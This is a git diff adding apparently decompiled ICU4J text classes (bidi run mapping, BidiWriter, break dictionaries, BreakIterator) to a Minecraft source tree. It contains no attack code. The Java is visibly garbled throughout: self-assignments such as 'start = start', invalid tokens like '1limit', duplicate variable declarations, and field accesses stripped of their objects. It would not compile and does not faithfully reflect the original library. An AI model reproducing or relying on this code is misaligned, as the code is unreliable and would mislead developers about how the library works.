+      int visualStart = 0;
+      int length;
+      for (int i = 0;; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        if ((insertRemove & 0x5) > 0) {
+          if (visualIndex <= visualStart + markFound) {
+            return -1;
+          }
+          markFound++;
+        }
+        
+        if (visualIndex < limit + markFound) {
+          visualIndex -= markFound;
+          break;
+        }
+        if ((insertRemove & 0xA) > 0) {
+          if (visualIndex == visualStart + length + markFound) {
+            return -1;
+          }
+          markFound++;
+        }
+        i++;
+
+
+
+
+
+
+
+
+
+      }
+      
+
+
+
+
+
+
+
+
+
+    }
+    else if (controlCount > 0)
+    {
+      int controlFound = 0;
+      int visualStart = 0;
+      
+      int length;
+      
+      for (int i = 0;; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        
+        if (visualIndex >= limit - controlFound + insertRemove) {
+          controlFound -= insertRemove;
+        }
+        else
+        {
+          if (insertRemove == 0) {
+            visualIndex += controlFound;
+            break;
+          }
+          
+          int logicalStart = start;
+          boolean evenRun = runs[i].isEvenRun();
+          int logicalEnd = logicalStart + length - 1;
+          for (int j = 0; j < length; j++) {
+            int k = evenRun ? logicalStart + j : logicalEnd - j;
+            char uchar = text[k];
+            if (Bidi.IsBidiControlChar(uchar)) {
+              controlFound++;
+            }
+            if (visualIndex + controlFound == visualStart + j) {
+              break;
+            }
+          }
+          visualIndex += controlFound;
+          break;
+        }
+        i++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (runCount <= 10)
+    {
+      for (int i = 0; visualIndex >= limit; i++) {}
+    }
+    
+    int begin = 0;int limit = runCount;
+    int i;
+    for (;;)
+    {
+      i = begin + limit >>> 1;
+      if (visualIndex >= limit) {
+        begin = i + 1;
+      } else { if ((i == 0) || (visualIndex >= 1limit)) {
+          break;
+        }
+        limit = i;
+      }
+    }
+    
+
+    int start = start;
+    if (runs[i].isEvenRun())
+    {
+
+      if (i > 0) {
+        visualIndex -= 1limit;
+      }
+      return start + visualIndex;
+    }
+    
+    return start + limit - visualIndex - 1;
+  }
+  
+
+
+  static int[] getLogicalMap(Bidi bidi)
+  {
+    BidiRun[] runs = bidi.runs;
+    
+    int[] indexMap = new int[bidi.length];
+    if (bidi.length > resultLength) {
+      Arrays.fill(indexMap, -1);
+    }
+    
+    int visualStart = 0;
+    for (int j = 0; j < bidi.runCount; j++) {
+      int logicalStart = start;
+      int visualLimit = limit;
+      if (runs[j].isEvenRun()) {
+        do {
+          indexMap[(logicalStart++)] = (visualStart++);
+        } while (visualStart < visualLimit);
+      } else {
+        logicalStart += visualLimit - visualStart;
+        do {
+          indexMap[(--logicalStart)] = (visualStart++);
+        } while (visualStart < visualLimit);
+      }
+    }
+    
+
+    if (insertPoints.size > 0) {
+      int markFound = 0;int runCount = bidi.runCount;
+      
+      runs = bidi.runs;
+      visualStart = 0;
+      int length;
+      for (int i = 0; i < runCount; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        if ((insertRemove & 0x5) > 0) {
+          markFound++;
+        }
+        if (markFound > 0) {
+          int logicalStart = start;
+          int logicalLimit = logicalStart + length;
+          for (int j = logicalStart; j < logicalLimit; j++) {
+            indexMap[j] += markFound;
+          }
+        }
+        if ((insertRemove & 0xA) > 0) {
+          markFound++;
+        }
+        i++;
+
+
+
+
+
+
+
+      }
+      
+
+
+
+
+
+
+
+    }
+    else if (controlCount > 0) {
+      int controlFound = 0;int runCount = bidi.runCount;
+      
+
+
+      runs = bidi.runs;
+      visualStart = 0;
+      int length;
+      for (int i = 0; i < runCount; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        
+        if (controlFound - insertRemove != 0)
+        {
+
+          int logicalStart = start;
+          boolean evenRun = runs[i].isEvenRun();
+          int logicalLimit = logicalStart + length;
+          
+          if (insertRemove == 0) {
+            for (int j = logicalStart; j < logicalLimit; j++) {
+              indexMap[j] -= controlFound;
+            }
+          }
+          
+          for (int j = 0; j < length; j++) {
+            int k = evenRun ? logicalStart + j : logicalLimit - j - 1;
+            char uchar = text[k];
+            if (Bidi.IsBidiControlChar(uchar)) {
+              controlFound++;
+              indexMap[k] = -1;
+            }
+            else {
+              indexMap[k] -= controlFound;
+            }
+          }
+        }
+        i++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return indexMap;
+  }
+  
+
+  static int[] getVisualMap(Bidi bidi)
+  {
+    BidiRun[] runs = bidi.runs;
+    
+    int allocLength = bidi.length > resultLength ? bidi.length : resultLength;
+    
+    int[] indexMap = new int[allocLength];
+    
+    int visualStart = 0;
+    int idx = 0;
+    for (int j = 0; j < bidi.runCount; j++) {
+      int logicalStart = start;
+      int visualLimit = limit;
+      if (runs[j].isEvenRun()) {
+        do {
+          indexMap[(idx++)] = (logicalStart++);
+          visualStart++; } while (visualStart < visualLimit);
+      } else {
+        logicalStart += visualLimit - visualStart;
+        do {
+          indexMap[(idx++)] = (--logicalStart);
+          visualStart++; } while (visualStart < visualLimit);
+      }
+    }
+    
+
+    if (insertPoints.size > 0) {
+      int markFound = 0;int runCount = bidi.runCount;
+      
+      runs = bidi.runs;
+      
+      for (int i = 0; i < runCount; i++) {
+        int insertRemove = insertRemove;
+        if ((insertRemove & 0x5) > 0) {
+          markFound++;
+        }
+        if ((insertRemove & 0xA) > 0) {
+          markFound++;
+        }
+      }
+      
+      int k = resultLength;
+      for (i = runCount - 1; (i >= 0) && (markFound > 0); i--) {
+        int insertRemove = insertRemove;
+        if ((insertRemove & 0xA) > 0) {
+          indexMap[(--k)] = -1;
+          markFound--;
+        }
+        visualStart = i > 0 ? 1limit : 0;
+        for (int j = limit - 1; (j >= visualStart) && (markFound > 0); j--) {
+          indexMap[(--k)] = indexMap[j];
+        }
+        if ((insertRemove & 0x5) > 0) {
+          indexMap[(--k)] = -1;
+          markFound--;
+        }
+      }
+    }
+    else if (controlCount > 0) {
+      int runCount = bidi.runCount;
+      
+
+
+      runs = bidi.runs;
+      visualStart = 0;
+      
+      int k = 0;
+      int length; for (int i = 0; i < runCount; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        
+        if ((insertRemove == 0) && (k == visualStart)) {
+          k += length;
+        }
+        else
+        {
+          if (insertRemove == 0) {
+            int visualLimit = limit;
+            for (int j = visualStart; j < visualLimit; j++) {
+              indexMap[(k++)] = indexMap[j];
+            }
+          }
+          
+          int logicalStart = start;
+          boolean evenRun = runs[i].isEvenRun();
+          int logicalEnd = logicalStart + length - 1;
+          for (int j = 0; j < length; j++) {
+            int m = evenRun ? logicalStart + j : logicalEnd - j;
+            char uchar = text[m];
+            if (!Bidi.IsBidiControlChar(uchar)) {
+              indexMap[(k++)] = m;
+            }
+          }
+        }
+        i++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (allocLength == resultLength) {
+      return indexMap;
+    }
+    int[] newMap = new int[resultLength];
+    System.arraycopy(indexMap, 0, newMap, 0, resultLength);
+    return newMap;
+  }
+  
+  static int[] invertMap(int[] srcMap)
+  {
+    int srcLength = srcMap.length;
+    int destLength = -1;int count = 0;
+    
+
+    for (int i = 0; i < srcLength; i++) {
+      int srcEntry = srcMap[i];
+      if (srcEntry > destLength) {
+        destLength = srcEntry;
+      }
+      if (srcEntry >= 0) {
+        count++;
+      }
+    }
+    destLength++;
+    int[] destMap = new int[destLength];
+    if (count < destLength)
+    {
+      Arrays.fill(destMap, -1);
+    }
+    for (i = 0; i < srcLength; i++) {
+      int srcEntry = srcMap[i];
+      if (srcEntry >= 0) {
+        destMap[srcEntry] = i;
+      }
+    }
+    return destMap;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BidiRun.java b/src/minecraft/com/ibm/icu/text/BidiRun.java
new file mode 100644
index 0000000..98d572a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BidiRun.java
@@ -0,0 +1,153 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+public class BidiRun
+{
+  int start;
+  
+
+
+
+
+
+
+
+
+  int limit;
+  
+
+
+
+
+
+
+
+  int insertRemove;
+  
+
+
+
+
+
+
+
+  byte level;
+  
+
+
+
+
+
+
+
+
+  BidiRun()
+  {
+    this(0, 0, (byte)0);
+  }
+  
+
+
+
+  BidiRun(int start, int limit, byte embeddingLevel)
+  {
+    this.start = start;
+    this.limit = limit;
+    level = embeddingLevel;
+  }
+  
+
+
+
+  void copyFrom(BidiRun run)
+  {
+    start = start;
+    limit = limit;
+    level = level;
+    insertRemove = insertRemove;
+  }
+  
+
+
+
+
+  public int getStart()
+  {
+    return start;
+  }
+  
+
+
+
+
+  public int getLimit()
+  {
+    return limit;
+  }
+  
+
+
+
+
+  public int getLength()
+  {
+    return limit - start;
+  }
+  
+
+
+
+
+  public byte getEmbeddingLevel()
+  {
+    return level;
+  }
+  
+
+
+
+
+
+
+  public boolean isOddRun()
+  {
+    return (level & 0x1) == 1;
+  }
+  
+
+
+
+
+
+
+  public boolean isEvenRun()
+  {
+    return (level & 0x1) == 0;
+  }
+  
+
+
+
+
+  public byte getDirection()
+  {
+    return (byte)(level & 0x1);
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return "BidiRun " + start + " - " + limit + " @ " + level;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BidiWriter.java b/src/minecraft/com/ibm/icu/text/BidiWriter.java
new file mode 100644
index 0000000..aaac53e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BidiWriter.java
@@ -0,0 +1,430 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.lang.UCharacter;
+
+
+
+
+
+
+
+
+
+
+
+final class BidiWriter
+{
+  static final char LRM_CHAR = '‎';
+  static final char RLM_CHAR = '‏';
+  static final int MASK_R_AL = 8194;
+  
+  BidiWriter() {}
+  
+  private static boolean IsCombining(int type)
+  {
+    return (1 << type & 0x1C0) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String doWriteForward(String src, int options)
+  {
+    switch (options & 0xA)
+    {
+    case 0: 
+      return src;
+    
+    case 2: 
+      StringBuffer dest = new StringBuffer(src.length());
+      
+
+      int i = 0;
+      
+      do
+      {
+        int c = UTF16.charAt(src, i);
+        i += UTF16.getCharCount(c);
+        UTF16.append(dest, UCharacter.getMirror(c));
+      } while (i < src.length());
+      return dest.toString();
+    
+    case 8: 
+      StringBuilder dest = new StringBuilder(src.length());
+      
+
+      int i = 0;
+      do
+      {
+        char c = src.charAt(i++);
+        if (!Bidi.IsBidiControlChar(c)) {
+          dest.append(c);
+        }
+      } while (i < src.length());
+      return dest.toString();
+    }
+    
+    StringBuffer dest = new StringBuffer(src.length());
+    
+
+    int i = 0;
+    do
+    {
+      int c = UTF16.charAt(src, i);
+      i += UTF16.getCharCount(c);
+      if (!Bidi.IsBidiControlChar(c)) {
+        UTF16.append(dest, UCharacter.getMirror(c));
+      }
+    } while (i < src.length());
+    return dest.toString();
+  }
+  
+
+
+
+  private static String doWriteForward(char[] text, int start, int limit, int options)
+  {
+    return doWriteForward(new String(text, start, limit - start), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static String writeReverse(String src, int options)
+  {
+    StringBuffer dest = new StringBuffer(src.length());
+    
+    int srcLength;
+    switch (options & 0xB)
+    {
+
+
+
+
+
+
+
+
+
+
+
+
+    case 0: 
+      srcLength = src.length();
+      
+
+
+      do
+      {
+        int i = srcLength;
+        
+
+        srcLength -= UTF16.getCharCount(UTF16.charAt(src, srcLength - 1));
+        
+
+
+        dest.append(src.substring(srcLength, i));
+      } while (srcLength > 0);
+      break;
+    
+
+
+
+
+
+
+
+    case 1: 
+      srcLength = src.length();
+      
+
+
+
+      do
+      {
+        int i = srcLength;
+        
+        int c;
+        do
+        {
+          c = UTF16.charAt(src, srcLength - 1);
+          srcLength -= UTF16.getCharCount(c);
+        } while ((srcLength > 0) && (IsCombining(UCharacter.getType(c))));
+        
+
+        dest.append(src.substring(srcLength, i));
+      } while (srcLength > 0);
+      break;
+    
+
+
+
+
+
+
+
+    default: 
+      srcLength = src.length();
+      
+
+
+      do
+      {
+        int i = srcLength;
+        
+
+        int c = UTF16.charAt(src, srcLength - 1);
+        srcLength -= UTF16.getCharCount(c);
+        if ((options & 0x1) != 0)
+        {
+          while ((srcLength > 0) && (IsCombining(UCharacter.getType(c)))) {
+            c = UTF16.charAt(src, srcLength - 1);
+            srcLength -= UTF16.getCharCount(c);
+          }
+        }
+        
+        if (((options & 0x8) == 0) || (!Bidi.IsBidiControlChar(c)))
+        {
+
+
+
+
+
+          int j = srcLength;
+          if ((options & 0x2) != 0)
+          {
+            c = UCharacter.getMirror(c);
+            UTF16.append(dest, c);
+            j += UTF16.getCharCount(c);
+          }
+          dest.append(src.substring(j, i));
+        } } while (srcLength > 0);
+    }
+    
+    
+    return dest.toString();
+  }
+  
+  static String doWriteReverse(char[] text, int start, int limit, int options)
+  {
+    return writeReverse(new String(text, start, limit - start), options);
+  }
+  
+
+
+  static String writeReordered(Bidi bidi, int options)
+  {
+    char[] text = bidi.text;
+    int runCount = bidi.countRuns();
+    
+
+
+
+
+    if ((reorderingOptions & 0x1) != 0) {
+      options |= 0x4;
+      options &= 0xFFFFFFF7;
+    }
+    
+
+
+
+    if ((reorderingOptions & 0x2) != 0) {
+      options |= 0x8;
+      options &= 0xFFFFFFFB;
+    }
+    
+
+
+
+    if ((reorderingMode != 4) && (reorderingMode != 5) && (reorderingMode != 6) && (reorderingMode != 3))
+    {
+
+
+      options &= 0xFFFFFFFB;
+    }
+    StringBuilder dest = new StringBuilder((options & 0x4) != 0 ? length * 2 : length);
+    
+
+
+
+
+
+
+
+
+
+    if ((options & 0x10) == 0)
+    {
+      if ((options & 0x4) == 0)
+      {
+        for (int run = 0; run < runCount; run++) {
+          BidiRun bidiRun = bidi.getVisualRun(run);
+          if (bidiRun.isEvenRun()) {
+            dest.append(doWriteForward(text, start, limit, options & 0xFFFFFFFD));
+          }
+          else
+          {
+            dest.append(doWriteReverse(text, start, limit, options));
+          }
+        }
+      }
+      
+
+      byte[] dirProps = bidi.dirProps;
+      
+
+
+      for (int run = 0; run < runCount; run++) {
+        BidiRun bidiRun = bidi.getVisualRun(run);
+        int markFlag = 0;
+        
+        markFlag = runs[run].insertRemove;
+        if (markFlag < 0) {
+          markFlag = 0;
+        }
+        if (bidiRun.isEvenRun()) {
+          if ((bidi.isInverse()) && (dirProps[start] != 0))
+          {
+            markFlag |= 0x1; }
+          char uc;
+          char uc; if ((markFlag & 0x1) != 0) {
+            uc = '‎'; } else { char uc;
+            if ((markFlag & 0x4) != 0) {
+              uc = '‏';
+            } else
+              uc = '\000';
+          }
+          if (uc != 0) {
+            dest.append(uc);
+          }
+          dest.append(doWriteForward(text, start, limit, options & 0xFFFFFFFD));
+          
+
+
+          if ((bidi.isInverse()) && (dirProps[(limit - 1)] != 0))
+          {
+            markFlag |= 0x2;
+          }
+          if ((markFlag & 0x2) != 0) {
+            uc = '‎';
+          } else if ((markFlag & 0x8) != 0) {
+            uc = '‏';
+          } else {
+            uc = '\000';
+          }
+          if (uc != 0) {
+            dest.append(uc);
+          }
+        } else {
+          if ((bidi.isInverse()) && (!bidi.testDirPropFlagAt(8194, limit - 1)))
+          {
+
+            markFlag |= 0x4; }
+          char uc;
+          char uc; if ((markFlag & 0x1) != 0) {
+            uc = '‎'; } else { char uc;
+            if ((markFlag & 0x4) != 0) {
+              uc = '‏';
+            } else
+              uc = '\000';
+          }
+          if (uc != 0) {
+            dest.append(uc);
+          }
+          dest.append(doWriteReverse(text, start, limit, options));
+          
+
+          if ((bidi.isInverse()) && ((0x2002 & Bidi.DirPropFlag(dirProps[start])) == 0))
+          {
+            markFlag |= 0x8;
+          }
+          if ((markFlag & 0x2) != 0) {
+            uc = '‎';
+          } else if ((markFlag & 0x8) != 0) {
+            uc = '‏';
+          } else {
+            uc = '\000';
+          }
+          if (uc != 0) {
+            dest.append(uc);
+          }
+        }
+      }
+    }
+    else
+    {
+      if ((options & 0x4) == 0)
+      {
+        int run = runCount; for (;;) { run--; if (run < 0) break;
+          BidiRun bidiRun = bidi.getVisualRun(run);
+          if (bidiRun.isEvenRun()) {
+            dest.append(doWriteReverse(text, start, limit, options & 0xFFFFFFFD));
+          }
+          else
+          {
+            dest.append(doWriteForward(text, start, limit, options));
+          }
+        }
+      }
+      
+
+
+      byte[] dirProps = bidi.dirProps;
+      
+      int run = runCount; for (;;) { run--; if (run < 0)
+          break;
+        BidiRun bidiRun = bidi.getVisualRun(run);
+        if (bidiRun.isEvenRun()) {
+          if (dirProps[(limit - 1)] != 0) {
+            dest.append('‎');
+          }
+          
+          dest.append(doWriteReverse(text, start, limit, options & 0xFFFFFFFD));
+          
+
+          if (dirProps[start] != 0) {
+            dest.append('‎');
+          }
+        } else {
+          if ((0x2002 & Bidi.DirPropFlag(dirProps[start])) == 0) {
+            dest.append('‏');
+          }
+          
+          dest.append(doWriteForward(text, start, limit, options));
+          
+
+          if ((0x2002 & Bidi.DirPropFlag(dirProps[(limit - 1)])) == 0) {
+            dest.append('‏');
+          }
+        }
+      }
+    }
+    
+
+    return dest.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BreakCTDictionary.java b/src/minecraft/com/ibm/icu/text/BreakCTDictionary.java
new file mode 100644
index 0000000..f863677
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BreakCTDictionary.java
@@ -0,0 +1,254 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUBinary;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+class BreakCTDictionary
+{
+  private CompactTrieHeader fData;
+  private CompactTrieNodes[] nodes;
+  
+  static class CompactTrieHeader
+  {
+    int size;
+    int magic;
+    int nodeCount;
+    int root;
+    int[] offset;
+    
+    CompactTrieHeader()
+    {
+      size = 0;
+      magic = 0;
+      nodeCount = 0;
+      root = 0;
+      offset = null;
+    }
+  }
+  
+
+  static final class CompactTrieNodeFlags
+  {
+    static final int kVerticalNode = 4096;
+    
+    static final int kParentEndsWord = 8192;
+    
+    static final int kReservedFlag1 = 16384;
+    
+    static final int kReservedFlag2 = 32768;
+    
+    static final int kCountMask = 4095;
+    
+    static final int kFlagMask = 61440;
+    
+    CompactTrieNodeFlags() {}
+  }
+  
+  static class CompactTrieHorizontalNode
+  {
+    char ch;
+    int equal;
+    
+    CompactTrieHorizontalNode(char newCh, int newEqual)
+    {
+      ch = newCh;
+      equal = newEqual;
+    }
+  }
+  
+  static class CompactTrieVerticalNode
+  {
+    int equal;
+    char[] chars;
+    
+    CompactTrieVerticalNode() {
+      equal = 0;
+      chars = null;
+    }
+  }
+  
+  private CompactTrieNodes getCompactTrieNode(int node) {
+    return nodes[node];
+  }
+  
+
+  static class CompactTrieNodes
+  {
+    short flagscount;
+    BreakCTDictionary.CompactTrieHorizontalNode[] hnode;
+    BreakCTDictionary.CompactTrieVerticalNode vnode;
+    
+    CompactTrieNodes()
+    {
+      flagscount = 0;
+      hnode = null;
+      vnode = null;
+    }
+  }
+  
+
+  public BreakCTDictionary(InputStream is)
+    throws IOException
+  {
+    ICUBinary.readHeader(is, DATA_FORMAT_ID, null);
+    
+    DataInputStream in = new DataInputStream(is);
+    
+    fData = new CompactTrieHeader();
+    fData.size = in.readInt();
+    fData.magic = in.readInt();
+    fData.nodeCount = in.readShort();
+    fData.root = in.readShort();
+    
+    loadBreakCTDictionary(in);
+  }
+  
+  private void loadBreakCTDictionary(DataInputStream in)
+    throws IOException
+  {
+    for (int i = 0; i < fData.nodeCount; i++) {
+      in.readInt();
+    }
+    
+
+    nodes = new CompactTrieNodes[fData.nodeCount];
+    nodes[0] = new CompactTrieNodes();
+    
+
+    for (int j = 1; j < fData.nodeCount; j++) {
+      nodes[j] = new CompactTrieNodes();
+      nodes[j].flagscount = in.readShort();
+      
+      int count = nodes[j].flagscount & 0xFFF;
+      
+      if (count != 0) {
+        boolean isVerticalNode = (nodes[j].flagscount & 0x1000) != 0;
+        
+
+        if (isVerticalNode) {
+          nodes[j].vnode = new CompactTrieVerticalNode();
+          nodes[j].vnode.equal = in.readShort();
+          
+          nodes[j].vnode.chars = new char[count];
+          for (int l = 0; l < count; l++) {
+            nodes[j].vnode.chars[l] = in.readChar();
+          }
+        } else {
+          nodes[j].hnode = new CompactTrieHorizontalNode[count];
+          for (int n = 0; n < count; n++) {
+            nodes[j].hnode[n] = new CompactTrieHorizontalNode(in.readChar(), in.readShort());
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int matches(CharacterIterator text, int maxLength, int[] lengths, int[] count, int limit)
+  {
+    CompactTrieNodes node = getCompactTrieNode(fData.root);
+    int mycount = 0;
+    
+    char uc = text.current();
+    int i = 0;
+    boolean exitFlag = false;
+    
+    while (node != null)
+    {
+      if ((limit > 0) && ((flagscount & 0x2000) != 0))
+      {
+        lengths[(mycount++)] = i;
+        limit--;
+      }
+      
+
+
+
+
+      if (i >= maxLength) {
+        break;
+      }
+      
+      int nodeCount = flagscount & 0xFFF;
+      if (nodeCount == 0) {
+        break;
+      }
+      
+      if ((flagscount & 0x1000) != 0)
+      {
+        CompactTrieVerticalNode vnode = vnode;
+        for (int j = 0; (j < nodeCount) && (i < maxLength); j++) {
+          if (uc != chars[j])
+          {
+            exitFlag = true;
+            break;
+          }
+          text.next();
+          uc = text.current();
+          i++;
+        }
+        if (exitFlag) {
+          break;
+        }
+        
+
+
+        node = getCompactTrieNode(equal);
+      }
+      else {
+        CompactTrieHorizontalNode[] hnode = hnode;
+        int low = 0;
+        int high = nodeCount - 1;
+        
+        node = null;
+        while (high >= low) {
+          int middle = high + low >>> 1;
+          if (uc == ch)
+          {
+            node = getCompactTrieNode(equal);
+            text.next();
+            uc = text.current();
+            i++;
+            break; }
+          if (uc < ch) {
+            high = middle - 1;
+          } else {
+            low = middle + 1;
+          }
+        }
+      }
+    }
+    
+    count[0] = mycount;
+    return i;
+  }
+  
+
+  private static final byte[] DATA_FORMAT_ID = { 84, 114, 68, 99 };
+}
diff --git a/src/minecraft/com/ibm/icu/text/BreakDictionary.java b/src/minecraft/com/ibm/icu/text/BreakDictionary.java
new file mode 100644
index 0000000..ee09a05
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BreakDictionary.java
@@ -0,0 +1,314 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.CompactByteArray;
+import java.io.DataInputStream;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStreamWriter;
+import java.io.PrintStream;
+import java.io.PrintWriter;
+import java.io.UnsupportedEncodingException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class BreakDictionary
+{
+  static void writeToFile(String inFile, String outFile)
+    throws FileNotFoundException, UnsupportedEncodingException, IOException
+  {
+    BreakDictionary dictionary = new BreakDictionary(new FileInputStream(inFile));
+    
+    PrintWriter out = null;
+    
+    if (outFile != null) {
+      out = new PrintWriter(new OutputStreamWriter(new FileOutputStream(outFile), "UnicodeLittle"));
+    }
+    
+    dictionary.printWordList("", 0, out);
+    
+    if (out != null) {
+      out.close();
+    }
+  }
+  
+
+  void printWordList(String partialWord, int state, PrintWriter out)
+    throws IOException
+  {
+    if (state == 65535) {
+      System.out.println(partialWord);
+      if (out != null) {
+        out.println(partialWord);
+      }
+    }
+    else {
+      for (int i = 0; i < numCols; i++) {
+        int newState = at(state, i) & 0xFFFF;
+        
+        if (newState != 0) {
+          char newChar = reverseColumnMap[i];
+          String newPartialWord = partialWord;
+          
+          if (newChar != 0) {
+            newPartialWord = newPartialWord + newChar;
+          }
+          
+          printWordList(newPartialWord, newState, out);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  private char[] reverseColumnMap = null;
+  
+
+
+
+
+
+
+
+
+  private CompactByteArray columnMap = null;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int numCols;
+  
+
+
+
+
+
+
+
+
+
+
+  private short[] table = null;
+  
+
+
+
+  private short[] rowIndex = null;
+  
+
+
+
+
+
+
+  private int[] rowIndexFlags = null;
+  
+
+
+
+
+
+
+
+
+  private short[] rowIndexFlagsIndex = null;
+  
+
+
+
+
+  private byte[] rowIndexShifts = null;
+  
+
+
+  BreakDictionary(InputStream dictionaryStream)
+    throws IOException
+  {
+    readDictionaryFile(new DataInputStream(dictionaryStream));
+  }
+  
+
+  void readDictionaryFile(DataInputStream in)
+    throws IOException
+  {
+    in.readInt();
+    
+
+
+    int l = in.readInt();
+    char[] temp = new char[l];
+    for (int i = 0; i < temp.length; i++)
+      temp[i] = ((char)in.readShort());
+    l = in.readInt();
+    byte[] temp2 = new byte[l];
+    for (int i = 0; i < temp2.length; i++)
+      temp2[i] = in.readByte();
+    columnMap = new CompactByteArray(temp, temp2);
+    
+
+    numCols = in.readInt();
+    in.readInt();
+    
+
+    l = in.readInt();
+    rowIndex = new short[l];
+    for (int i = 0; i < rowIndex.length; i++) {
+      rowIndex[i] = in.readShort();
+    }
+    
+    l = in.readInt();
+    rowIndexFlagsIndex = new short[l];
+    for (int i = 0; i < rowIndexFlagsIndex.length; i++)
+      rowIndexFlagsIndex[i] = in.readShort();
+    l = in.readInt();
+    rowIndexFlags = new int[l];
+    for (int i = 0; i < rowIndexFlags.length; i++) {
+      rowIndexFlags[i] = in.readInt();
+    }
+    
+    l = in.readInt();
+    rowIndexShifts = new byte[l];
+    for (int i = 0; i < rowIndexShifts.length; i++) {
+      rowIndexShifts[i] = in.readByte();
+    }
+    
+    l = in.readInt();
+    table = new short[l];
+    for (int i = 0; i < table.length; i++) {
+      table[i] = in.readShort();
+    }
+    
+    reverseColumnMap = new char[numCols];
+    for (char c = '\000'; c < 65535; c = (char)(c + '\001')) {
+      int col = columnMap.elementAt(c);
+      if (col != 0) {
+        reverseColumnMap[col] = c;
+      }
+    }
+    
+
+    in.close();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  final short at(int row, char ch)
+  {
+    int col = columnMap.elementAt(ch);
+    return at(row, col);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  final short at(int row, int col)
+  {
+    if (cellIsPopulated(row, col))
+    {
+
+
+
+
+
+      return internalAt(rowIndex[row], col + rowIndexShifts[row]);
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  private final boolean cellIsPopulated(int row, int col)
+  {
+    if (rowIndexFlagsIndex[row] < 0) {
+      return col == -rowIndexFlagsIndex[row];
+    }
+    
+
+
+
+
+
+
+
+    int flags = rowIndexFlags[(rowIndexFlagsIndex[row] + (col >> 5))];
+    return (flags & 1 << (col & 0x1F)) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private final short internalAt(int row, int col)
+  {
+    return table[(row * numCols + col)];
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BreakIterator.java b/src/minecraft/com/ibm/icu/text/BreakIterator.java
new file mode 100644
index 0000000..ddc8e79
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BreakIterator.java
@@ -0,0 +1,880 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUDebug;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Type;
+import java.lang.ref.SoftReference;
+import java.text.CharacterIterator;
+import java.text.StringCharacterIterator;
+import java.util.Locale;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class BreakIterator
+  implements Cloneable
+{
+  private static final boolean DEBUG = ICUDebug.enabled("breakiterator");
+  
+  public static final int DONE = -1;
+  
+  public static final int KIND_CHARACTER = 0;
+  
+  public static final int KIND_WORD = 1;
+  
+  public static final int KIND_LINE = 2;
+  
+  public static final int KIND_SENTENCE = 3;
+  public static final int KIND_TITLE = 4;
+  private static final int KIND_COUNT = 5;
+  
+  protected BreakIterator() {}
+  
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e)
+    {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int first();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int last();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int next(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int next();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int previous();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int following(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+
